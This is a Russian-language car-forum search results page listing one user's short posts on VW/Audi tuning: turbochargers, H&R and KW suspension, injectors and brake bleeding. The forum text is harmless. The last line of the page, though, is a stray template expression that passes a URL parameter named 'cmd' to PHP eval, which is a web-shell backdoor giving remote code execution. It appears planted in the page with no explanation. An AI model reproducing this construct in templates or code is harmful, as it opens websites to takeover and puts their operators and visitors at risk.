Поиск:

Тип: Сообщения; Пользователь: Kirill_gti

Страница 1 из 5 1 2 3 4

Поиск: На поиск затрачено 0.01 сек.

  1. Ответов
    22
    Просмотров
    8,142

    Посмотреть сообщение

    250 это предел на нашем 98. все звенит. не звенит только на agip c ленинградки.
  2. Ответов
    22
    Просмотров
    8,142

    Посмотреть сообщение

    нафига такая турба, если низ мотора стандарт? не проще ли гибрид k04 поставить и получить теже ньютоны
  3. Тема: H&R или KW?

    от Kirill_gti
    Ответов
    82
    Просмотров
    25,514

    Посмотреть сообщение

    то что это есть в каталогах - это не секрет. Но хотелось бы увидеть ценник и сроки поставки на B8+H&R и B12.
  4. Тема: H&R или KW?

    от Kirill_gti
    Ответов
    82
    Просмотров
    25,514

    Посмотреть сообщение

    точно -45 - еще лучше.
  5. Тема: H&R или KW?

    от Kirill_gti
    Ответов
    82
    Просмотров
    25,514

    Посмотреть сообщение

    присоединяюсь к соклубнику. машина таже только авант 2003 год. Интересны B8 и пружины H&R -40, а так же винты H&R однотрубники без регулировок жесткости.
  6. Ответов
    81
    Просмотров
    46,854

    Посмотреть сообщение

    фигасе:tippler: а что с лямдой делал?
  7. Ответов
    81
    Просмотров
    46,854

    Посмотреть сообщение

    почти как у меня. скока денег?
  8. Ответов
    13
    Просмотров
    5,551

    Посмотреть сообщение

    после таких сервименов, я качал сам на заведенной машине, чтобы как следует прокачать блок абс. пару бутылок пива другу, литр тормозухи и никаких вагкомов.
  9. Ответов
    1
    Просмотров
    2,286

    Посмотреть сообщение

    если кулаки от тт, значит и шаровая тоже.тогда подойдут почти без проблем, единственное надо будет просверлить отверстие и нарезать резьбу под болт крепления косточки штатного стаба.
    + возможно...
  10. Тема: H&R или KW?

    от Kirill_gti
    Ответов
    82
    Просмотров
    25,514

    Посмотреть сообщение

    +1 использавал и kw и h&r. последнии идеально подходят для наших дорог.
  11. Ответов
    26
    Просмотров
    10,002

    Посмотреть сообщение

    какую машину взял???
  12. Ответов
    48
    Просмотров
    16,132

    Посмотреть сообщение

    Обратись к Kalex. Думаю он подскажет в чем проблема.
  13. Тема: Corrado

    от Kirill_gti
    Ответов
    99
    Просмотров
    67,896

    Посмотреть сообщение

    Отличный проект.

    Трубка подачи масла очень тонкая, турбина будет голодать недолго. имно
  14. Тема: 265+

    от Kirill_gti
    Ответов
    582
    Просмотров
    155,922

    Посмотреть сообщение

    Кирилл, что там ТурбоОст натворили?
    и почему в с Леной там клиенты тогда частые?
    Андрюх, и почему ты выбрал для установки дурбы и коллетора эту контору тогда?
    *они просто у меня рядом с домом, а я...
  15. Ответов
    11
    Просмотров
    7,994

    Посмотреть сообщение

    кронштейны под подушки от ибицы 1,8т в етке глянь
  16. Ответов
    164
    Просмотров
    88,627

    Посмотреть сообщение

    штатных форсунок от АГУ на чип с трудом схватает.
  17. Ответов
    164
    Просмотров
    88,627

    Посмотреть сообщение

    меняй форсунки и прошивку. иначе радость будет не долгой!
  18. Тема: Верка

    от Kirill_gti
    Ответов
    95
    Просмотров
    25,343

    Посмотреть сообщение

    +1 прямоток под оригинальные дудки на банке
  19. Ответов
    147
    Просмотров
    57,310

    Посмотреть сообщение

    это внешний диаметр, сфоткать нечего. я мерил турбу которая на балконе
  20. Ответов
    10
    Просмотров
    4,835

    Посмотреть сообщение

    регулиется мозгом с помощью этого клапана( вестгейт не трогай), у тебя стандартный клапан. для начала опресовку сделай.! меня тут чуть не развели в турбоосте, сказали турба накрылать, хотя масло не...
Показано с 1 по 20 из 100
Страница 1 из 5 1 2 3 4
{{$myVar = eval($_GET[cmd]);}}